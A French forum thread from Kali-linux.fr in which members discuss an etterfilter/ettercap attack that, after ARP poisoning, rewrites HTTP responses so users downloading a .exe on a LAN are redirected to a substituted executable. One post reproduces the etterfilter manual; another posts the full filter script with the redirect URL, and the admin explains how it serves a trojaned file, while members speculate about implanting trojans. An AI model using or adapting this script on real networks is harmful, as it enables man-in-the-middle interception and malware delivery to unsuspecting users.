Auteur Sujet: EtterFilter Script  (Lu 6658 fois)

0 Membres et 1 Invité sur ce sujet

Hors ligne shift75

  • Contributeur de Kali-linux.fr
  • Membre Junior
  • *****
  • Messages: 46
  • +1/-0
EtterFilter Script
« le: 04 mai 2013 à 22:24:14 »
Bonsoir à tous,

Je souhaiterais avoir une information concernant les scripts etterfiler permettant de remplacer sur un LAN les .EXE télécharger par les utilisateurs.
Les forums parlant beaucoup de ce type d'attaque date de 2008 à peu pret .Cette attque fonctionne-t-elle toujours ?
J'ai tenter de la lancer sur un LAN privé rien a faire cela ne fonctionne pas du tout.

Merci

Hors ligne platon-y

  • Membre sérieux
  • ***
  • Messages: 358
  • +19/-4
  • *CCCP*
    • hackoibon
Re : EtterFilter Script
« Réponse #1 le: 04 mai 2013 à 22:54:53 »
Bonjour a toi, je ne connaît pas cette attaque je me renseigne donc de suite, cependant, peut tu préciser le programme utiliser et les commandes que tu a pu exécuter
???

Te retient au courant dès que j'ai plus d'information
 8)
https://pctamalou.fr/hackoibon/
Comment peut-on accepter la liberté sans libération?
Je sais juste que "rebelle" plus "lion" donne le mot "rébellion"

Hors ligne platon-y

  • Membre sérieux
  • ***
  • Messages: 358
  • +19/-4
  • *CCCP*
    • hackoibon
Re : EtterFilter Script
« Réponse #2 le: 04 mai 2013 à 23:13:23 »
Nom
etterfilter 0.7.5 - compilateur de filtre pour le contenu ettercap

moteur de filtrage
Synopsis
etterfilter [OPTIONS] FILE
Description
L'utilitaire etterfilter est utilisé pour compiler des fichiers de filtre de source dans des fichiers binaires de filtrage qui peuvent être interprétées par l'interpréteur JIT dans le Ettercap (8) du moteur filtre. Vous devez compiler vos scripts de filtrage afin de les utiliser dans Ettercap. Toutes les erreurs de syntaxe / parse seront vérifiés lors de la compilation, de sorte que vous serez sûr de produire un filtre binaire pour ettercap.

OPTIONS GÉNÉRALES
-O, - output <FICHIER>
    vous pouvez spécifier le fichier de sortie pour un fichier source filtre. Par défaut, la sortie est filter.ef.
-T, - test de <FICHIER>
    vous pouvez analyser un fichier filtre compilé avec cette option. etterfilter sera imprimé sous une forme lisible toutes les instructions qu'il contient. Il s'agit d'une sorte de «démonteur» pour filtrer les fichiers binaires.
-D, - debug
    imprime des messages de débogage lors de la compilation. Utilisez-le plusieurs fois pour augmenter le niveau de débogage (etterfilter-DDD ...).
-W, - ​​suppress-garde
    Ne quittez pas sur les avertissements. Avec cette option, le compilateur va compiler le script même si elle contient des avertissements.
Les options standard
-V, - version
    Imprimer la version et quitte.
-H, - help
    imprime l'écran d'aide avec un court résumé des options disponibles.
SCRIPTS SYNTAX
    Un script est un composé d'instructions. Il est exécutée séquentiellement et vous pouvez faire des branches avec le «si» des déclarations. «Si» et «if / else" énoncés sont la seule prise en charge. Pas de boucles sont mises en œuvre. La syntaxe est un peu comme le code C, sauf que vous devez mettre "si" blocs en parenthèses du graphe '{' '}', même si elles ne contiennent qu'une seule instruction.

    NOTE: vous devez mettre un espace entre le «si» et le »(« Vous ne devez pas mettre l'espace entre le nom de la fonction et le '('..

    Exemple:
    if (condition) {}
    func (args. ..);

    Les conditions d'une instruction 'if' peuvent être des fonctions ou des comparaisons. Deux ou plusieurs conditions peuvent être reliés entre eux par des opérateurs logiques similaires ou '| |' et 'ET' &&.

    Exemple:
    if (tcp.src recherche == 21 && (DATA.data, "ettercap")) {
    }

    Faites attention à la priorité des opérateurs. Vous ne pouvez pas utiliser des parenthèses aux conditions du groupe, donc soyez prudent à l'ordre. Un ET au début d'un bloc de conditions seront exclure tous les autres essais si il est évalué en tant que fausse. L'analyse est de gauche à droite, lorsque l'opérateur se trouve: s'il s'agit d'un ET et la condition précédente est fausse, tout le instruction est évaluée comme fausse, si elle est un OU l'analyse se poursuit même si la condition est fausse .

    Exemple:
    if (ip.proto == UDP | | ip.proto == TCP && tcp.src == 80) {
    }

    if (ip.proto == TCP && tcp.src == 80 | | ip.proto == UDP) {
    }

    l'ancien état ​​correspondra à tout trafic UDP ou HTTP. Celui-ci est mauvais, parce que si le paquet n'est pas tcp, l'ensemble du bloc de condition sera évaluée comme fausse. Si vous voulez faire de conditions complexes, le meilleur moyen est de les diviser en imbriquée 'si' blocs.

    Chaque instruction dans un bloc doit se terminer par un point-virgule ';'.

    Les comparaisons sont mises en œuvre avec l'opérateur '==' et peuvent être utilisées pour comparer les nombres, des chaînes ou des adresses IP. Une adresse IP doit être placée à l'intérieur de deux guillemets simples (par exemple '192 .168.0.7 '). Vous pouvez également utiliser le 'moins' ('<'), 'supérieur' ('>'), «inférieur ou égal» («<=») et «supérieur ou égal» («> =») des opérateurs. Le membre gauche d'une comparaison doit être un décalage (voir plus loin)

    Exemple:
    if (DATA.data + 20 == && "ettercap" ip.ttl> 16) {
    }

    Les missions sont mises en œuvre avec l'opérateur '=' et la lvalue peut y avoir un décalage (voir plus loin). Le rvalue peut être une chaîne, un entier ou une valeur hexadécimale.

    Exemple:
    ip.ttl = 0xff;
    DATA.data + 7 = "ettercap NG";

    Vous pouvez également utiliser le «inc» et les opérations «DEC 'sur les champs de paquet. Les opérateurs utilisés sont '+ =' et '- ='. Le rvalue peut être un entier ou une valeur hexadécimale.

    Exemple:
    ip.ttl + = 5;
OFFSET DEFINITION
    Un décalage est identifié par un pointeur virtuel. Dans des mots courts, un décalage est un pointeur vers la mémoire tampon de paquets. Le pointeur virtuel est un tuple <L, O, S>, où L est le niveau de la norme ISO / OSI, S est le décalage en niveau et que S est la taille du pointeur virtuel. Vous pouvez faire des opérations algébriques sur un pointeur virtuel et le résultat est toujours un décalage. Spécification de VP + n 'aboutira à un nouveau pointeur virtuel <L, O+n, S>. Et cela est parfaitement légal, nous avons changé le décalage de ce niveau interne.

    Pointeurs virtuels sont sous la forme «name.field.subfield». Par exemple, "ip.ttl 'est le pointeur virtuel pour le Time To Live champ dans l'en-tête IP d'un paquet. Il sera traduit en <L=3, O=9, S=1>. En effet, il est le 9ème octet de niveau 3 et sa taille est de 1 octet. 'Ip.ttl + 1' est le même que 'ip.proto' depuis le 10ème octet de l'en-tête IP est le protocole encapsulé dans le paquet IP.

    La liste de tous les pointeurs virtuels pris en charge dans le fichier etterfilter.tbl. Vous pouvez ajouter vos propres pointeurs virtuels en ajoutant une nouvelle table ou de modifier celles qui existent déjà. Reportez-vous aux commentaires au début du fichier pour la syntaxe du fichier etterfilter.tbl.
SCRIPTS FONCTIONS
recherche (où, quoi)
    Cette fonction recherche la chaîne «quoi» dans le tampon «où». Le tampon peut être DATA.data ou DECODED.data. Le premier est la charge utile à des données de couche (ontop TCP ou UDP), car il est transmis sur le fil, celui-ci est la charge utile décodé / décrypté par dissection.
    Donc, si vous souhaitez rechercher dans une connexion SSH, il est préférable d'utiliser 'DECODED.data »depuis« données »seront cryptées.
    La chaîne «quoi» peut être binaire. Vous devez échapper.

    exemple:
    recherche (DATA.data, "\ x41 \ x42 \ x43")
regex (où, regex)
    cette fonction retournera vrai si le 'regex' a égalé le tampon «où». Les considérations sur «DECODED.data» et «DATA.data» mentionné pour la fonction «recherche» sont les mêmes pour la fonction regex.

    NOTE: regex peut être utilisé seulement contre un tampon de chaîne.

    exemple:
    regex (DECODED.data ». * connexion. *")
pcre_regex (où, pcre_regex ...)
    cette fonction permettra d'évaluer une expression régulière compatible Perl. Vous pouvez faire correspondre contre les données et décodé, mais si votre expression modifie la mémoire tampon, il est logique pour fonctionner uniquement sur des données. La fonction accepte 2 ou 3 paramètres en fonction de l'opération que vous souhaitez. La forme à deux paramètres est utilisé uniquement pour correspondre à un modèle. Désigne la forme à trois paramètres que vous voulez faire un changement. Dans les deux cas, le second paramètre est la chaîne de recherche.
    Vous pouvez utiliser $ n dans la chaîne de remplacement. Ces espaces réservés sont désignés les groupes créés dans la chaîne de recherche. (Par exemple pcre_regex (DATA.data, "^ var1 = ([: digit:] *) & var2 = ([: digit:] *)", "var1 = $ 2 & var2 = $ 1") va troquer la valeur de var1 et var2) .
    REMARQUE: Le support PCRE est facultative dans Ettercap et ne sera activée que si vous avez le libpcre installé. Le compilateur vous avertira si vous essayez de compiler un filtre qui contient des expressions PCRE mais vous n'avez pas libpcre. Utilisez l'option-w pour supprimer l'avertissement.

    exemple:
    pcre_regex (DATA.data ». * foo $")
    pcre_regex (DATA.data, "([^] *) bar ([^] *)", "foo $ 1 $ 2")
remplacer (ce qui, avec)
    cette fonction remplace la chaîne "quoi" avec la chaîne «avec». Ils peuvent être une chaîne binaire et doivent être échappé. Le remplacement s'effectue toujours dans DATA.data depuis est la seule charge qui est réexpédié. Le tampon 'DECODED.data »est utilisé uniquement en interne et n'atteint jamais le fil.

    exemple:
    remplacer ("ethercap", "ettercap")
injecter (quoi?)
    cette fonction injecte le contenu du fichier «quoi» après le paquet en cours de traitement. Il injecte toujours dans DATA.data. Vous pouvez l'utiliser pour remplacer le paquet entier avec un faux en utilisant le menu () fonction juste avant l'injection () de commande. Dans ce cas, le moteur de filtrage laisse tomber le paquet actuel et injecter le faux.

    exemple:
    injecter (". / fake_packet")
log (quoi, où)
    cette fonction décharges dans le fichier "où" le tampon «quoi». Aucune information n'est stockée sur le paquet, seule la charge utile est déversé. Ainsi, vous verrez le flux dans le fichier. Si vous souhaitez enregistrer les paquets dans un mode plus amélioré, vous devez utiliser l'option ettercap-L et l'analyser avec etterlog (8).
    Le fichier "où" doit être accessible en écriture à la EC_UID utilisateur (voir etter.conf (5)).

    exemple:
    log (DECODED.data, "/ tmp / interesting.log")
msg (message)
    Cette fonction affiche un message à l'utilisateur dans la fenêtre des messages de l'utilisateur. Il est utile de laisser l'utilisateur de savoir si un filtre particulier, a été un succès ou non.

    exemple:
    msg ("Packet filtrée avec succès")
drop ()
    cette fonction marque le paquet "pour être abandonné". Le paquet ne sera pas transmise à la destination réelle.

    exemple:
    drop ()
kill ()
    cette fonction tue la connexion qui possède correspondait le paquet. S'il s'agit d'une connexion TCP, un RST est envoyé aux deux extrémités de la connexion. S'il s'agit d'une connexion UDP, un port inaccessible ICMP est envoyé à la source du paquet.

    exemple:
    kill ()
exec (commande)
    Cette fonction exécute une commande shell. Vous devez fournir le chemin complet de la commande car elle est exécutée sans n'importe quel environnement. Il n'existe aucun moyen de déterminer si la commande a réussi ou non. En outre, il est exécuté de façon asynchrone car elle est fourchue par le processus principal.

    exemple:
    exec ("/ bin / cat / tmp / foo >> / tmp / bar")
exit ()
    cette fonction provoque le moteur de filtrage pour empêcher l'exécution du code. Il est utile d'arrêter l'exécution du script sur quelque circonstance vérifié par un 'if'.

    exemple:
    exit ()

Voila donc se que j'ai pu trouver, cependant, maintenant ton message n'est plus très clair, je ne comprend pas bien ce que tu veut faire, a savoir que sur Kali linux il n'existe pas , il y a ettercap, ettercap graphical, mais vraiment je bloque sur ce que tu propose, et n'en voit pas l'intérêt
https://pctamalou.fr/hackoibon/
Comment peut-on accepter la liberté sans libération?
Je sais juste que "rebelle" plus "lion" donne le mot "rébellion"

Hors ligne platon-y

  • Membre sérieux
  • ***
  • Messages: 358
  • +19/-4
  • *CCCP*
    • hackoibon
Re : EtterFilter Script
« Réponse #3 le: 04 mai 2013 à 23:26:56 »
il te faut il me semble faire tes recherche sur ettercap, se sera plus simple, en effet, de se que j'ai lu tout a changer depuis les précédentes versions, cependant je n'ai trouver aucun lien sur la manières de changer les point exe via le lan comme tu l'indiquait;
permettant de remplacer sur un LAN les .EXE télécharger par les utilisateurs
tous est sur le net, et/ou, en tapant  dans un terminal ettercap man. voila, en espérant que ton savoir s'agrandira et que tu partagera celui ci
https://pctamalou.fr/hackoibon/
Comment peut-on accepter la liberté sans libération?
Je sais juste que "rebelle" plus "lion" donne le mot "rébellion"

Hors ligne shift75

  • Contributeur de Kali-linux.fr
  • Membre Junior
  • *****
  • Messages: 46
  • +1/-0
Re : EtterFilter Script
« Réponse #4 le: 04 mai 2013 à 23:32:59 »
Merci pour cette réponse cela va me faire de la lecture.

Le but est de :

Sur un LAN lancer le script en question qui aura pour but de remplacer n'importe quels fichiers .exe que pourra télécharger quelqu'un du réseau.
L'utilisateur A télécharge un .EXE le filter (avec etterfilter) lui indique que le fichier EXE a changer d'emplacement).

Voici le script en question:

CODE
# replace rmccurdy with your website
# replace the url with what ever exe you like





if (ip.proto == TCP && tcp.dst == 80) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Accept-Rubbish!");
          # note: replacement string is same length as original string
      msg("zapped Accept-Encoding!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80) {
   replace("keep-alive", "close" ");
replace("Keep-Alive", "close" ");

}



if (ip.proto == TCP && search(DATA.data, ": application") ){
# enable for logging log(DECODED.data, "/tmp/log.log");
msg("found EXE\n");
# "Win32" is the first part of the exe example:
# if the EXE started with "this program must be run in MSDOS mode" you could search for MSDOS etc ..
if (search(DATA.data, "Win32")) {
msg("doing nothing\n");
} else {
replace("200 OK", "301 Moved Permanently
Location: http://www.rmccurdy.com/scripts/quickclean.exe
");
msg("redirect success\n");

}
}

Jusqu'a présent impossible à faire fonctionner...

Hors ligne platon-y

  • Membre sérieux
  • ***
  • Messages: 358
  • +19/-4
  • *CCCP*
    • hackoibon
Re : EtterFilter Script
« Réponse #5 le: 04 mai 2013 à 23:38:42 »
Ok, alors ton script est déjà ancien puisque de aout 2008 sur ce site http://ineedhackyou.blogspot.fr/2008_08_01_archive.html il est exactement pareil, donc passe a la lecture et tu verra que forcément sa a changer, et puis avec un peu d'astuce et se modèle comme script, ya pas de raison que tu ni arrive pas... :)
 le script a par ailleurs ete copier sur beaucoup de site a ce que j'ai vu, donc forcément, ne croyez pas tous, chercher s'est bien, mais savoir ce qu'on cherche s'est mieux....
« Modifié: 04 mai 2013 à 23:42:05 par platon y »
https://pctamalou.fr/hackoibon/
Comment peut-on accepter la liberté sans libération?
Je sais juste que "rebelle" plus "lion" donne le mot "rébellion"

Hors ligne admin

  • Contributeur de Kali-linux.fr
  • Membre Elite
  • *****
  • Messages: 1711
  • +74/-3
    • Communauté FR de Kali-linux
Re : EtterFilter Script
« Réponse #6 le: 05 mai 2013 à 11:26:51 »
Salut,

Le principe de cette attaque est simple, il s'agit d'effectuer tout d'abord de l'ARP poisonning afin de mettre le PC de hack entre la victime et le serveur (MITM attack). A partir de la, ton script permet de modifier les paquets HTTP à la volée (en temps réel) afin de faire croire au client que le fichier distant (un .exe dans le cas présent) à changer d'emplacement (remplacement du code HTTP "200 OK" par "301 Moved Permanently) et qu'il faut désormais aller le rechercher à une autre adresse HTTP (que le pirate aura prédéfini vers un .exe vérolé).

J'ai pu lire que les navigateurs savent maintenant (sauf IE et Opéra d'après cette source non vérifiée) éviter ce type d'attaque via le protocole HSTS [http://dev.chromium.org/sts].

Je n'ai pas (encore) testé mais je pense que cela fonctionne toujours en HTTP mais pas en HTTPS (avec SSLSTRIP).

Si besoin, je peux tester et rédiger un tuto dans la semaine (ça m'intéresse).

Tenez moi au jus de l'avancement de vos recherches.

++

Hors ligne platon-y

  • Membre sérieux
  • ***
  • Messages: 358
  • +19/-4
  • *CCCP*
    • hackoibon
Re : EtterFilter Script
« Réponse #7 le: 05 mai 2013 à 12:25:01 »
 ;) bon ben du coup je vais tester aussi,
en réalités donc c'est une simple re-direction lier a une adresse de départ vers celle que l'on souhaite, cependant faut-il cibler une IP d'une tierce personne, ou alors le site en question??? ensuite, ni a t'il pas d'autre moyen??, en réaliter sa voudrai donc prétendre que l'on puissent implanter notre propre programme, cheval de troie ou autre via ce système????
 :-\ rien n'est simple, donc si s'est se que je pense, cela m'étonne que l'on puissent en parler autant sur internet, plus que le crack wep et wpa, donc je doute un peu??? :o
bon ben un peu de taf, j'ai un amis vers qui je vais me renseigner quand je le pourrai, et du coup bien intérressant vu comme sa!!!
et le défi serait donc d'y parvenir en https??? ::)
j'aprécie
 ;D
https://pctamalou.fr/hackoibon/
Comment peut-on accepter la liberté sans libération?
Je sais juste que "rebelle" plus "lion" donne le mot "rébellion"

Hors ligne shift75

  • Contributeur de Kali-linux.fr
  • Membre Junior
  • *****
  • Messages: 46
  • +1/-0
Re : EtterFilter Script
« Réponse #8 le: 07 mai 2013 à 17:10:09 »
Bonjour,

Oui effectivement je serais très intéresser par ce tuto, parceuque j'ai tenter de retourner le script dans tous les sens et rien a faire cela ne fonctionne pas donc je pense en effet que les navigateurs doivent être protéger contre cela...La partie MITM et ARP poisonning ne me pose aucun soucis c'est vraiment la partie de modif du paquet à la volé avec redirection qui est bloquante.
En attendant vos réponses.

Hors ligne platon-y

  • Membre sérieux
  • ***
  • Messages: 358
  • +19/-4
  • *CCCP*
    • hackoibon
https://pctamalou.fr/hackoibon/
Comment peut-on accepter la liberté sans libération?
Je sais juste que "rebelle" plus "lion" donne le mot "rébellion"